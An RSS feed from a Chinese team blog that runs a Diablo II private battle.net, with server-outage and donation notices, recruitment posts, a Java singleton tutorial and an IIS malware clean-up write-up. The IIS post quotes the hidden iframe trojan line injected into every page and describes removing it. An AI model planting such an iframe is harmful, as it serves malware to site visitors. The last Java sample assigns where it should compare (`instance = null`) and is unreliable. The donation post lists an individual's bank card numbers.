<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Maxyo技术团队]]></title> 
<link>http://www.maxyo.com/index.php</link> 
<description><![CDATA[我们一直在努力~]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Maxyo技术团队]]></copyright>
<item>
<link>http://www.maxyo.com/read.php/22.htm</link>
<title><![CDATA[服务器集中管控及节点加速平台寻求定制合作]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情故事]]></category>
<pubDate>Sun, 14 Feb 2010 10:37:15 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/22.htm</guid> 
<description>
<![CDATA[ 
	<span style="color: #DC143C;">服务器集中管控及节点加速平台寻求定制合作</span><br/><br/>starisland 服务器群集集中管理平台,提供日常批量维护、批量更新等操作<br/>starisland 可以自由定制,增加各种服务器维护、更新的功能<br/><br/>节点加速平台资料可参考<a href="http://bbs.91d2.cn/read-htm-tid-791687.html" target="_blank">http://bbs.91d2.cn/read-ht...</a><br/><br/>有意者可联系QQ：4225501&nbsp;&nbsp;Binarie<br/>请注明定制合作<br/><br/><br/><br/>
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/21.htm</link>
<title><![CDATA[关于最近战网情况的总体通报暨公开募捐倡议贴_希望玩家能帮忙主动宣传]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情故事]]></category>
<pubDate>Sun, 13 Dec 2009 12:23:21 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/21.htm</guid> 
<description>
<![CDATA[ 
	时间表： <br/><br/><span style="color: #008000;">12月8日 下午接到通知，上海机房全封，排查非法信息。市北机房电信线路封停，外高桥机房安全。为防止出问题，第一时间联系了一台双线服务器，付给一定费用之后，开始启用数据转移。 <br/>12月9日 下午无征兆就突然出现外高桥机房被封停的事件。战网GameServer集中管控的全部数据，无法取出。 <br/>12月10日 数据配置、转移，并进行BBS服务器的计划、付费。 <br/><br/>12月11日 战网登陆服务器配置基本完成，数据准备完成，等候集中管控数据。夜间12点40，找熟人买了2条烟，托关系进入机房拷贝出战网管理端数据。 <br/><br/>12月12日 从早上5点多，数据到手开始，进行服务端最终配置。并于12点之前开放战网。 <br/>12月13日 战网新登陆服务器启用以来，出现部分玩家网速不稳定的现象，并且高峰期出现登录服务器丢包现象。 </span><br/><br/><br/><br/><br/><br/>现正在积极的寻找新的双线服务器，以解决目前网络部稳定的现象。 <br/><br/>其实如果单是电信、或者单是联通用户的话，非常的好解决。 <br/><br/>我们也经过多次尝试，希望通过某种方式，战网成本降低，减少双线服务器的投入， <br/><br/>但是经过各种方式的测试，只有使用双线服务器进行登录，并且来管控全部的gs服务器， <br/><br/>这才能实现全国玩家都不卡，都能玩的最终目标。 <br/><br/><br/><br/>从2006年组建战网至今，91d2的战网登陆服务器一直都是双线服务器。 <br/><br/>这次出现这样大规模的问题，并且短期内无法解决， <br/><br/>所以我们决定临时租用北京或者广州的双线服务器， <br/><br/><br/><br/>但是，最近这段时间的折腾，服务器预存资金已经告急， <br/><br/><span style="color: #8B0000;">因为最近广告收入、超级玩家收入已经无法实现收支平衡。</span> <br/><br/>最近连续3个月赤字了。 <br/><br/>由于前几天刚动用个人资金给服务器做了预案，但是远远不够。 <br/><br/>其他不说，希望大家慷慨解囊。 <br/><br/>准备在北京、广州选择一处双线机房，用于登陆服务器的架设。 <br/><br/>如果无法获得相应的支持，只能暂时使用目前的登陆器直至上海市北机房的解封。<br/><br/><br/>ps:因上海原登陆服务器配置较低，无法满足需要。 <br/><br/>可能需要配置新服务器。具体实现办法按最终情况而定。<br/>希望大家能帮忙到处宣传下，尤其是一些无法登陆战网的朋友们。<br/>目前的解决方案有以下三种：<br/><span style="color: #800080;">1，玩家捐助，购买服务器，送至北京或者广州双线机房托管。预算费用为16000左右。<br/>待上海机房彻底解封后，将机器送回上海托管。<br/>2，玩家捐助，将原旧机器送至北京或者上海双线机房托管，预算费用问8000左右。<br/>待上海机房彻底解封后，将机器送回上海托管。</span><span style="color: #FF4500;">3，暂时使用目前的服务器使用至上海机房彻底解封。</span><br/><br/>希望各位玩家明白，这与<strong>91d2</strong>是否关门没有任何直接或者间接的关联， <br/>仅是继续延续<strong>91d2</strong>注重玩家体验的管理方式而已。 <br/><br/>因为网络问题揪心，导致各种后继开发一再进度拖延， <br/>难受啊。<br/><br/><br/>91d2管理团队 Maxwell <br/><br/>2009-12-13 <br/><br/><br/><br/><br/><br/>附：<br/><span style="color: #00008B;">工商银行：户名 鲁 程 卡号： 6222 0210 0100 7224063 <br/>建设银行：户名 鲁 程　卡号：4367 42137505 0014 154 <br/>农业银行：户名 鲁 程　卡号：622848 0392407977314 <br/>招商银行：户名 鲁 程&nbsp;&nbsp;&nbsp;&nbsp;卡号：6225 8812 1417 5969 <br/>民生银行：户名 鲁 程&nbsp;&nbsp;&nbsp;&nbsp;卡号：6226 2208 0130 9468 <br/>江苏银行：户名 鲁 程&nbsp;&nbsp;&nbsp;&nbsp;卡号：6221 7300 0100 0163059 <br/>支付宝：gotoheart@163.com 户名：鲁 程 <br/>汇款后请联系客户服：QQ：3224659 </span>
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/20.htm</link>
<title><![CDATA[来来往往的人，永远的91d2]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情故事]]></category>
<pubDate>Sun, 13 Dec 2009 05:28:15 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/20.htm</guid> 
<description>
<![CDATA[ 
	来来往往的人，永远的91d2这应该是第二次用这样的标题写这些内容了。<br/>其实说实话，很少有时间回过头来整理一下很多东西。<br/>当然，我指的是战网的构架、管理上咯。<br/><br/>别老说我煽情，NM。我这是做技术总结呢。<br/>欢迎技术人士指点。也希望91d2的技术团队，有越来越多的朋友参与进来。<br/><br/>好吧，很多朋友都问我暗黑战网怎么搭建，我考虑过怎么来回答他们问他。<br/>但是，又觉得有些东西还真的不好回答。<br/><br/>说说91d2吧，希望能对其他朋友有点帮助，也借此来讨论讨论。<br/>关于暗黑战网可能存在的几个问题，<br/><br/>1 网速<br/>很多战网的创建者，在战网初建的时候，都有一点想当然，<br/>比如弄一台所谓的双线服务器，就觉得可以全国互联了。<br/>弄一台网通，就觉得可以称之为网通服务器，可以吃掉全部的网通用户了。<br/>其实国内的网络环境比我们想象的复杂多了，<br/>且不说电信与网通的距离，就光电信，因为主干线路的问题，<br/>很多临近省份的网络都可以用不通畅来形容，<br/>暗黑是要求网络ping值相对较高的网络平台。<br/>所以考虑再三，全国各地寻找服务器，成为91d2成立以后一直追求不息的内容。<br/><br/>2 服务器管理<br/>这不得不提到暗黑战网的架设，<br/>91GM 1.10时代，我们假设的暗黑战网的服务端，<br/>是从网络中下载的程序，<br/>我们闲不住，就把服务端的各种程序都做了汉化，<br/>然后开发了一个小软件，可以远程对各个服务端软件进行控制，<br/>包括重启GS、Ogm管理，<br/>当然，这个时候我们还不知道外面已经有不少这样的工具。<br/>直到1.11b时代，d2dbs爆发了一个致命漏洞之后，<br/>我们才对服务端的程序进行了多处的改写，<br/>对安全性、效率以及智能识别上进行了功能的增加。<br/>最终形成我们91d2独有的一套暗黑服务端。<br/><br/>3 GS管理<br/>GameServer管理是后期服务器稳定在10个国度之后，<br/>才萌发的一个念头。<br/>因为服务器太多，如果要更新一个程序，需要一个个的登录，<br/>而且还有一些安全隐患，如果一台服务器被入侵，那么会殃及整个战网的核心数据。<br/>所以，出于安全、效率的角度，我们用php语言开发了一个多服务器的管理平台，<br/>服务器之间的通信进行了加密，<br/>管理平台(Island)可以对多个服务器进行控制，并能核查GS各个文件的属性、状态，<br/>并可以批量更新服务器的文件，对服务器的运行状态(CPU、内存、网络占用)<br/>进行实时的监控。<br/><br/>后期的开发计划<br/><br/>待这段时间稳定之后，我们将会进行游戏登陆器的开发。<br/>暗黑历史上，防BOT最好的工具就是曾经北邮的几个前辈开发的一个登陆器软件，<br/>这个软件实现了对当时BOT软件的95%以上的封杀。<br/>当然，我们有更多的安全思路，在这个登陆器软件上实现。<br/>虽然很有可能短期内被破解，<br/>但是我们有信心通过这个软件，来实现最大化的防止BOT。<br/><br/>游戏账户财富系统<br/><br/>任何非法的交易，恶性的资产移动，盗号目前都通过物流日志来实现了监控，<br/>但是我们希望以后对这些行为继续扩大，并且跟游戏的行为结合起来，<br/>把玩家的游戏行为做到每room的管控法则，<br/>实现只要盗号10分钟之后能找到物品，<br/>只要BOT30分钟之内查封一切个人财产，<br/>只要rmb交易，1个小时之内追查到每一个交易物品，等功能。<br/><br/>当然，我们是在不断的完善，因为时间和技术实力的原因，<br/>很多的进度比我们预想的要慢得很多，<br/>希望更多的技术人员能加入进来，<br/>跟我们一同去完善暗黑最后的一段不长的寿命。<br/>让我们的暗黑，变得更加美好。。。
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/19.htm</link>
<title><![CDATA[Maxyo.com网络技术团队招新告示~]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[心情故事]]></category>
<pubDate>Thu, 17 Sep 2009 10:48:38 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/19.htm</guid> 
<description>
<![CDATA[ 
	引子<br/><br/>2001年，我进入大学。因为初中开始对计算机浓厚的兴趣，让我在大一就开始了自己的计算机生涯。网站，是我起步的地方，从html静态到asp到.net，到后期熟悉的php等，我经历了一个漫长的过程。也许我不是一个非常优秀的网站制作人员，但是在今天回头来看的时候，我觉得这个研究学问的过程，奠定了我人生的态度，奠定我们的团队的技术基础。<br/><br/>疯狂的网络时代<br/><br/>2000年的时候，一次在水木清华的bbs看到的一篇文章，深深的震撼了我。一个97界的清华学生，创建了一个非常简单的聊天室，并投放了国外的广告。运营1年之后，以150万美金的价格被老外收购，并于大三的时候辍学去了现在的硅谷。<br/>从那几年开始，个人网站的数量以几何级的速度在增长，到2009年的今天，中国的个人网站有多少，完全可以从中国威客的订单中看得出来，几乎每天都数以千计的网站要求设计logo、设置数据库。记得有一个数据说中国有4000万的企业，而这4000多万的企业里只有40多万是有自己的网站的，那么生下来的3960万的企业网站谁能去做？如果以一个网站1000块的价格来计算，那么就是396亿的市场份额。<br/>多少人反复的投入到了网站的制作、运营中。可以说，明天都有数以万计的网站开张，也有数以万计的网站关闭。也有像阿里巴巴的马云一样，连计算机都不怎么会用，却能创造一个有一个网络营销神话的风云人物，也有像51.com总裁那样可以不断拿到风投的娱乐型站长。<br/>网络时代还没有完全进入技术化时代，这个技术化是网站的易用性，仍然还停留在一个简单的资讯展示的阶段。就像有30%的老美网站都是纯静态html的网站一样，他们也许需要的内容并不是那么多，几个简单的静态页，足够。<br/><br/>我们的Maxyo.com<br/><br/>很多人都访问过我们的Maxyo.com，也有一部分人是知道我们的Maxyo.com是91d2、dotacn、tbswe等大型网站的背后技术团队。<br/>这个团队于2004年左右筹建，2005年正式出台，并建立第一个bbs.maxyo.com黑客站点，创造了日IP50000的神话。当然，这对我来说，是一个神话了。这只是一个开始。<br/>当我们觉得做黑客培训已经与国家的大环境所违背的时候，我们开始了艰辛的发展历程。开始大量的帮助各种网站监测安全漏洞，修复安全漏洞；帮助一些有好的内容，但是没有技术能力的网站去做基础的维护工作；帮一些需要的项目，是开发足够多的软件、网络平台等。我们经历了一个基础的蛰伏期，并完成了蜕变。<br/>随后，我们变得沉默了。<br/>因为不停的忙于各种各样的项目的时候，我们失去了眼睛、失去了耳朵、失去了嘴巴。我们几乎与外界失去了沟通。随后，我痛苦的发现，我手上已经快要没有可用的兵了。<br/><br/>项目与崛起<br/><br/>2009年的夏天，上海的夏天来了3次风暴。其中一次，让我从外衣到内衣，全部湿透，怒吼的暴风夹杂的水柱，狠狠的砸在我的身上。回家之后，我就接到了一个电话。风投来了。<br/>风投是什么？风险投资。<br/>一个朋友的朋友，做了一个网站，加入了垂直搜索引擎的概念，尽管我至今还无法理解什么是垂直搜索引擎，但是我知道他们做了3个月之后，某风险投资基金向他们投资了2000万美金，并且在1年后，他们的项目宣告失败。<br/>优酷好像是获得了风投。<br/>那个电话的意思很简单，问我最近有什么项目，技术性较强、发展空间较大的项目有没有。如果有的话，拿上项目书，去找他们聊聊。<br/>迄今为止，在媒体上，我几乎从未露面，唯一的一次，应该是在phpwind的官网上，被他们的记者电话采访过一次。这应该是唯一的一次对外的接触。<br/>接到电话之后，我很兴奋，也很冷静。我很茫然的把自己手上的项目，以及以后的项目都细细的看了一遍，发现确实有不少东西都值得去做，但是瞬间我就被一个现实击溃了，我没有人手了。<br/><br/>到底是什么人<br/><br/>我都需要什么样的人。这个问题我很明白。是能人还是才人，还是佣人，或者是伙伴。其实，简单的说。我只是缺人，缺能按照我的安排做事的人。<br/>网络团队很尴尬。这原因有三，第一是团队以网络为平台，现实沟通不足；第二是团队的收益不稳定；第三是团队因为现实问题出现的人员更迭无法很好的解决。<br/>职业的网络人不会在别人的团队里太久，迟早他们是要离开自己的创业的。所以，我们的团队里的99%的人，都有自己的工作，自己的现实生活。一旦这些现实与网络冲突之后，他们不得不选择离开或者放弃。所以，团队到现在，人已经很少了。<br/>其实，出去尴尬的内容，还是一个重要的原因就是这些最终离开的人，没有能够坚持。事实证明，目前在我的团队里能坚持到现在的人，也就是坚持到2年以上的，最少的一个人一个月收入能有1000多，而最多的高达6000多一个月。这不是危言耸听。<br/>我们的团队是按照能力、贡献来划分他们的个人所得。作为组织者，作为唯一的领导者，因为要考虑到平衡问题，我的收入远远没有我们的最高收入者多。但是，这并不妨碍我继续去领导他们，他们对我的信任不仅仅是金钱方面的无私，还有对我们未来的憧憬。<br/><br/>你可以做什么<br/><br/>任何一个人，都能在我们的团队里找他适合的事情。我不是一个教父，但是我算半个老师。浸淫互联网这么多年，对于互联网的方方面面，不说是绝对的专家，也算是非常精通了。从建站的技术，到网站的推广，再到网站的运营，再到网站的品牌建设，都积累的相对丰富的经验。所以，我能帮团队的任何一个人，任何一种特点的人，找到他们自己所能做的事。并且最终，把足够多的人变成一个小团队，去建设自己的梦想。<br/>所以，如果你想利用网络中那些空虚、无聊的时间来丰富自己的网络人生的人，加入我们吧。我会帮你设计自己的网络时间，通过参与我们的各种项目，来获得自己的成就！<br/><br/>有意加入团队，寻找自己的网络天地的朋友，加入QQ群：35471283<br/>
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/18.htm</link>
<title><![CDATA[迎接国庆----《我给91把把脉》意见征求活动！]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术研究]]></category>
<pubDate>Thu, 17 Sep 2009 10:47:35 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/18.htm</guid> 
<description>
<![CDATA[ 
	91d2成立至今已经有3年有余，马上即将迎来中国60周年的大庆。<br/>在这样的节日里，我仅代表管理层，来接受大家的意见。<br/><br/>活动名称：我给91把把脉<br/>活动时间：9月8日-9月31日<br/>活动内容：根据自己玩暗黑到现在的经验，结合91d2的实际情况，表达自己的意见、建议。对管理、服务器、论坛、网站版面进行深入的评价，指出自己道听途说或者亲身感受的事情，并提出您宝贵的意见。<br/>参与办法：玩家只需要把自己的意见打出来，发送到maxwell@91d2.cn即可。<br/><br/>Maxwell静候您的意见！
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/17.htm</link>
<title><![CDATA[关于网通国度情况的说明]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[91D2日志]]></category>
<pubDate>Thu, 17 Sep 2009 10:45:15 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/17.htm</guid> 
<description>
<![CDATA[ 
	1、山东网通国度现在正在调试，预计下周可以上线，请各位耐心等待，尝试用双线国度进行游戏<br/>2、河南网通目前一切正常<br/>3、哈尔滨网通与数据服务器的连接存在瞬断现象，测试表明是运营商问题，正在研究解决方案<br/><br/>请大家谅解
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/16.htm</link>
<title><![CDATA[我们的暗黑，我们的信念，我们的阵地。91d2成立3年周年有感~~~~]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[91D2日志]]></category>
<pubDate>Fri, 24 Jul 2009 16:22:35 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/16.htm</guid> 
<description>
<![CDATA[ 
	亲爱的朋友，又是我。。。阴魂不散的我，<br/>人称MM见愁的就是我。<br/>只要有美女，就会有我的出现。<br/>无奈世事变迁，沧桑轮转，眼力劲儿也不行鸟。最近活跃的MM都不认识了。<br/>不知道是我的悲哀，还是91的沉沦。<br/>我向玩家们承认错误，我最近关心91d2的管理上面的问题着实少了些。<br/>好吧，言归正传。（就说最后一句，如果论坛新来了MM，大家一定要记得通知我哦。。。。）<br/><br/>91d2的最终目标是建立一个暗黑玩家的乐园，<br/>让众多的暗黑玩家能有一个永远游戏暗黑的平台。<br/>91d2真身是2006年7月20日左右成立，但是经过几次荒唐的重新开荒与倒闭，<br/>才有了今天的91d2.<br/>记得草莽MM说过，Max阿。。你丫写点东西 可别又太监了。。<br/>这次不能阿，我得给大家汇报下情况。<br/><br/>1，有关rmb交易。<br/>真相、黑幕是很多人最关心的话题。有人打着我的旗号招摇撞骗，<br/>有人也借我的名号威震八方，这些我都知道，<br/>并且我都知道具体都是谁干的。但是我实在没找个能力去弄死他，<br/>只能防、只能治，效果如何，我自认为凑合。<br/>事实终究是事实，问心无愧是一种境界。<br/>中国文化的博大精深不仅仅在于强大的描述能力，<br/>还在于它无穷的雄辩文采。小人与君子的一线之隔，也仅是因为他们的胸襟。<br/>所以，很多小人的雄辩能力只能让我这个学历不高的管理学学子望文兴叹，<br/>真的说不过他们。<br/>ok，相安无事，我干自己该干的。就ok了。<br/>我们的GM团队会一直把这个作为一个非常重要的工作区处理滴。<br/><br/>2，有关战网管理。<br/>很多明眼人一定都看出来了，<br/>91d2的管理其实不是管理人员的素质问题，也不是能力的问题，<br/>而是沟通渠道不够通畅。<br/>很多简单的问题，都复杂化了，很多复杂的问题都便得无法解决了。<br/>所以，（上面貌似有错字，不管了，这是我的风格），近期会考虑调整一下管理解决，<br/>让专人负责各种投诉及论坛纠纷的处理，<br/>让斑竹、总版主都去执行事务性工作，而把纠纷交给一位德高望重的老人来权衡，<br/>并从中协调解决各方面需要的资源。<br/><br/>3，有关服务器速度的问题。<br/>这个问题其实不想说，91d2的服务器组，全国暗黑界无人能敌。<br/>这一句话就足够了。<br/><br/>4，稳定性，安全性，公平性。<br/>事在人为，我会努力，<br/>我也会鞭策我们的管理人员努力。<br/>有些时候，需要一点点理解。投诉群看了很多玩家的发言，我都小小的开心一下，<br/>有一些玩家真是很理解我们。<br/>所以最终的结果也是大家都很满意。<br/>错误，在所难免。解决问题自然有解决问题的办法，互相理解是第一位的。<br/><br/>5，91d2的发展问题。<br/>缺钱，这是根本。但是我会解决。<br/><br/>好了，废话少说，用事实来说话。<br/>我不喜欢来虚的，是爷们就干活。<br/>我说，我真的很爱你们。这话。发自肺腑的，麻痹。<br/><br/>真爱，不是扯犊子。<br/><br/>我好多次看到一些玩家的话，我的眼睛就酸酸的。<br/>多愁善感嘛，爷们归爷们，我也有柔情的一面。<br/>也许，这也是为什么那么多MM喜欢我的原因。<br/>好了，做事去了。<br/><br/>顺祝，<br/>夏安！<br/>
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/15.htm</link>
<title><![CDATA[Java单例对象同步问题探讨]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术研究]]></category>
<pubDate>Thu, 23 Jul 2009 08:12:15 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/15.htm</guid> 
<description>
<![CDATA[ 
	单例对象（Singleton）是一种常用的设计模式。在Java应用中，单例对象能保证在一个JVM中，该对象只有一个实例存在。正是由于这个特点，单例对象通常作为程序中的存放配置信息的载体，因为它能保证其他对象读到一致的信息。例如在某个服务器程序中，该服务器的配置信息可能存放在数据库或文件中，这些配置数据由某个单例对象统一读取，服务进程中的其他对象如果要获取这些配置信息，只需访问该单例对象即可。这种方式极大地简化了在复杂环境下，尤其是多线程环境下的配置管理，但是随着应用场景的不同，也可能带来一些同步问题。 <br/><br/>　　本文将探讨一下在多线程环境下，使用单例对象作配置信息管理时可能会带来的几个同步问题，并针对每个问题给出可选的解决办法。<br/><br/>　　问题描述<br/><br/>　　在多线程环境下，单例对象的同步问题主要体现在两个方面，单例对象的初始化和单例对象的属性更新。<br/><br/>　　本文描述的方法有如下假设：<br/><br/>　　1. 单例对象的属性（或成员变量）的获取，是通过单例对象的初始化实现的。也就是说，在单例对象初始化时，会从文件或数据库中读取最新的配置信息。<br/><br/>　　2. 其他对象不能直接改变单例对象的属性，单例对象属性的变化来源于配置文件或配置数据库数据的变化。<br/><br/>　　1.1 单例对象的初始化<br/><br/>　　首先，讨论一下单例对象的初始化同步。单例模式的通常处理方式是，在对象中有一个静态成员变量，其类型就是单例类型本身；如果该变量为null，则创建该单例类型的对象，并将该变量指向这个对象；如果该变量不为null，则直接使用该变量。<br/><br/>　　其过程如下面代码所示：<br/><br/>public class GlobalConfig &#123;<br/>　　private static GlobalConfig instance = null;<br/>　　private Vector properties = null;<br/>　　private GlobalConfig() &#123;<br/>　　　//Load configuration information from DB or file<br/>　　　//Set values for properties<br/>　　&#125;<br/>　　public static GlobalConfig getInstance() &#123;<br/>　　　if (instance == null) &#123;<br/>　　　　instance = new GlobalConfig();<br/>　　　&#125;<br/>　　　return instance;<br/>　　&#125;<br/>　　public Vector getProperties() &#123;<br/>　　　return properties;<br/>　　&#125;<br/>　&#125;<br/><br/>　　这种处理方式在单线程的模式下可以很好的运行；但是在多线程模式下，可能产生问题。如果第一个线程发现成员变量为null，准备创建对象；这是第二个线程同时也发现成员变量为null，也会创建新对象。这就会造成在一个JVM中有多个单例类型的实例。如果这个单例类型的成员变量在运行过程中变化，会造成多个单例类型实例的不一致，产生一些很奇怪的现象。例如，某服务进程通过检查单例对象的某个属性来停止多个线程服务，如果存在多个单例对象的实例，就会造成部分线程服务停止，部分线程服务不能停止的情况。<br/><br/>　　1.2 单例对象的属性更新<br/><br/>　　通常，为了实现配置信息的实时更新，会有一个线程不停检测配置文件或配置数据库的内容，一旦发现变化，就更新到单例对象的属性中。在更新这些信息的时候，很可能还会有其他线程正在读取这些信息，造成意想不到的后果。还是以通过单例对象属性停止线程服务为例，如果更新属性时读写不同步，可能访问该属性时这个属性正好为空（null），程序就会抛出异常。<br/><br/>　　解决方法<br/><br/>　　2.1 单例对象的初始化同步<br/><br/>　　对于初始化的同步，可以通过如下代码所采用的方式解决。<br/><br/>　public class GlobalConfig &#123;<br/>　　private static GlobalConfig instance = null;<br/>　　private Vector properties = null;<br/>　　private GlobalConfig() &#123;<br/>　　　//Load configuration information from DB or file<br/>　　　//Set values for properties<br/>　　&#125;<br/>　　private static synchronized void syncInit() &#123;<br/>　　　if (instance == null) &#123;<br/>　　　　instance = new GlobalConfig();<br/>　　　&#125;<br/>　　&#125;<br/>　　public static GlobalConfig getInstance() &#123;<br/>　　　if (instance == null) &#123;<br/>　　　　syncInit();<br/>　　　&#125;<br/>　　　return instance;<br/>　　&#125;<br/>　　public Vector getProperties() &#123;<br/>　　　return properties;<br/>　　&#125;<br/>　&#125;<br/><br/>　　这种处理方式虽然引入了同步代码，但是因为这段同步代码只会在最开始的时候执行一次或多次，所以对整个系统的性能不会有影响。<br/><br/>　　2.2 单例对象的属性更新同步<br/><br/>　　为了解决第2个问题，有两种方法：<br/><br/>　　1，参照读者/写者的处理方式<br/><br/>　　设置一个读计数器，每次读取配置信息前，将计数器加1，读完后将计数器减1.只有在读计数器为0时，才能更新数据，同时要阻塞所有读属性的调用。代码如下。<br/><br/>　public class GlobalConfig &#123;<br/>private static GlobalConfig instance;<br/>private Vector properties = null;<br/>private boolean isUpdating = false;<br/>private int readCount = 0;<br/>private GlobalConfig() &#123;<br/>　 //Load configuration information from DB or file<br/>　　　//Set values for properties<br/>&#125;<br/>private static synchronized void syncInit() &#123;<br/>　if (instance == null) &#123;<br/>　 instance = new GlobalConfig();<br/>　&#125;<br/>&#125;<br/>public static GlobalConfig getInstance() &#123;<br/>　if (instance==null) &#123;<br/>　 syncInit();<br/>　&#125;<br/>　return instance;<br/>&#125;<br/>public synchronized void update(String p_data) &#123;<br/>　syncUpdateIn();<br/>　//Update properties<br/>&#125;<br/>private synchronized void syncUpdateIn() &#123;<br/>　while (readCount > 0) &#123;<br/>　 try &#123;<br/>　　wait();<br/>　 &#125; catch (Exception e) &#123;<br/>　 &#125;<br/>　&#125;<br/>&#125;<br/>private synchronized void syncReadIn() &#123;<br/>　readCount++;<br/>&#125;<br/>private synchronized void syncReadOut() &#123;<br/>　readCount--;<br/>　notifyAll();<br/>&#125;<br/>public Vector getProperties() &#123;<br/>　syncReadIn();<br/>　//Process data<br/>　syncReadOut();<br/>　return properties;<br/>&#125;<br/>　&#125;<br/><br/>　　2，采用"影子实例"的办法<br/><br/>　　具体说，就是在更新属性时，直接生成另一个单例对象实例，这个新生成的单例对象实例将从数据库或文件中读取最新的配置信息；然后将这些配置信息直接赋值给旧单例对象的属性。如下面代码所示。<br/><br/>　public class GlobalConfig &#123;<br/>　　private static GlobalConfig instance = null;<br/>　　private Vector properties = null;<br/>　　private GlobalConfig() &#123;<br/>　　　//Load configuration information from DB or file<br/>　　　//Set values for properties<br/>　　&#125;<br/>　　private static synchronized void syncInit() &#123;<br/>　　　if (instance = null) &#123;<br/>　　　　instance = new GlobalConfig();<br/>　　　&#125;<br/>　　&#125;<br/>　　public static GlobalConfig getInstance() &#123;<br/>　　　if (instance = null) &#123;<br/>　　　　syncInit();<br/>　　　&#125;<br/>　　　return instance;<br/>　　&#125;<br/>　　public Vector getProperties() &#123;<br/>　　　return properties;<br/>　　&#125;<br/>　　public void updateProperties() &#123;<br/>　　　//Load updated configuration information by new a GlobalConfig object<br/>　　　GlobalConfig shadow = new GlobalConfig();<br/>　　　properties = shadow.getProperties();<br/>　　&#125;<br/>　&#125;<br/><br/>　　注意：在更新方法中，通过生成新的GlobalConfig的实例，从文件或数据库中得到最新配置信息，并存放到properties属性中。<br/><br/>　　上面两个方法比较起来，第二个方法更好，首先，编程更简单；其次，没有那么多的同步操作，对性能的影响也不大。<br/><br/><br/><br/>
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/14.htm</link>
<title><![CDATA[Windows服务器下查IIS被挂iframe木马]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术研究]]></category>
<pubDate>Thu, 23 Jul 2009 08:10:24 +0000</pubDate> 
<guid>http://www.maxyo.com/read.php/14.htm</guid> 
<description>
<![CDATA[ 
	一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了 <br/><br/><iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe> <br/><br/>这种样式的代码 有的在头部　有的在尾部 部分杀毒软件打开会报毒 <br/><br/>打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码 <br/><br/>分析原因<br/><br/>首先怀疑ARP挂马，用防ＡＲＰ的工具又没有发现有arp欺骗<br/><br/>而且arp欺骗一般不会每次都被插入代码，而是时有时无<br/><br/>而且使用<a href="http://127.0.0.1" target="_blank">http://127.0.0.1</a> 或者<a href="http://localhost" target="_blank">http://localhost</a> 访问的时候也可以找到这段代码<br/><br/>arp欺骗的可能排除。<br/><br/>然后就想到可能是JS被篡改，或者是其它的包含文件，查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码，那就只能是通过ＩＩＳ挂上去的了。<br/><br/>备份iis数据然后重装iis，代码消失，将备份的iis恢复，问题又来了。<br/><br/>仔细寻找，问题应该出在IIS的配置文件上，打开配置文件，没有发现那段代码。<br/><br/>那很有可能是调用了某个文件，这个怎么查啊，忽然想起了大名鼎鼎的Filemon<br/><br/>本地载了一个上传到服务器上，打开Filemon，数据太多了，过滤掉一些没有用的<br/><br/>只留下iis的进程，数据还是很多，看来服务器上的站点还是挺多人在访问的。<br/><br/>关掉所有站点,建了一个测试站点anky 目录为D:&#92;www&#92;　在下面建了一个空白页面test.htm <br/><br/>访问一下这个页面代码被插进来了，再看一下Filemon　奇怪怎么读取C:&#92;Inetpub&#92;wwwroot&#92;iisstart.htm<br/><br/>打开C:&#92;Inetpub&#92;wwwroot&#92;iisstart.htm一看，里面就躺着<br/><br/><iframe src="http://xxxdfsfd/web.htm" height=0 width=0></iframe> <br/><br/>把代码删除了留空，访问test.htm 正常了，把C:&#92;Inetpub&#92;wwwroot&#92;iisstart.htm删除了再访问<br/><br/>test.htm　出现　“读取数据页脚文件出错”问题就出这里了，看来是调用了<br/><br/>这个文件。<br/><br/>把C:&#92;Inetpub&#92;wwwroot&#92;iisstart.htm清空就正常了，这样怎么行，解决问题当然要连根拔掉。<br/><br/>continue<br/><br/>有没有可能是扩展造成的，到扩展中检查了一遍全部都是正常的<br/><br/>当然 通过ISAPI 挂马的也是存在的<br/><br/>左想右想最后还是觉得配置文件有问题<br/><br/>打开配置文件，配置文件在%windir%&#92;system32&#92;inetsrv&#92;MetaBase.xml<br/><br/>用记事本打开，查找iisstart.htm　找到一行，开始以为是默认站点，后来一想不对啊<br/><br/>默认站点都删除了，再仔细一看这句代码为<br/><br/>DefaultDocFooter="FILE:C:&#92;Inetpub&#92;wwwroot&#92;iisstart.htm"<br/><br/>删除掉这一行，问题彻底解决了<br/>
]]>
</description>
</item><item>
<link>http://www.maxyo.com/read.php/13.htm</link>
<title><![CDATA[蝴蝶杯 91D2——2009“我的第一次”有奖征文颁奖典礼]]></title> 
<author>Maxwell &lt;admin@yourname.com&gt;</author>
<category><![CDATA[91D2日志]]></category>
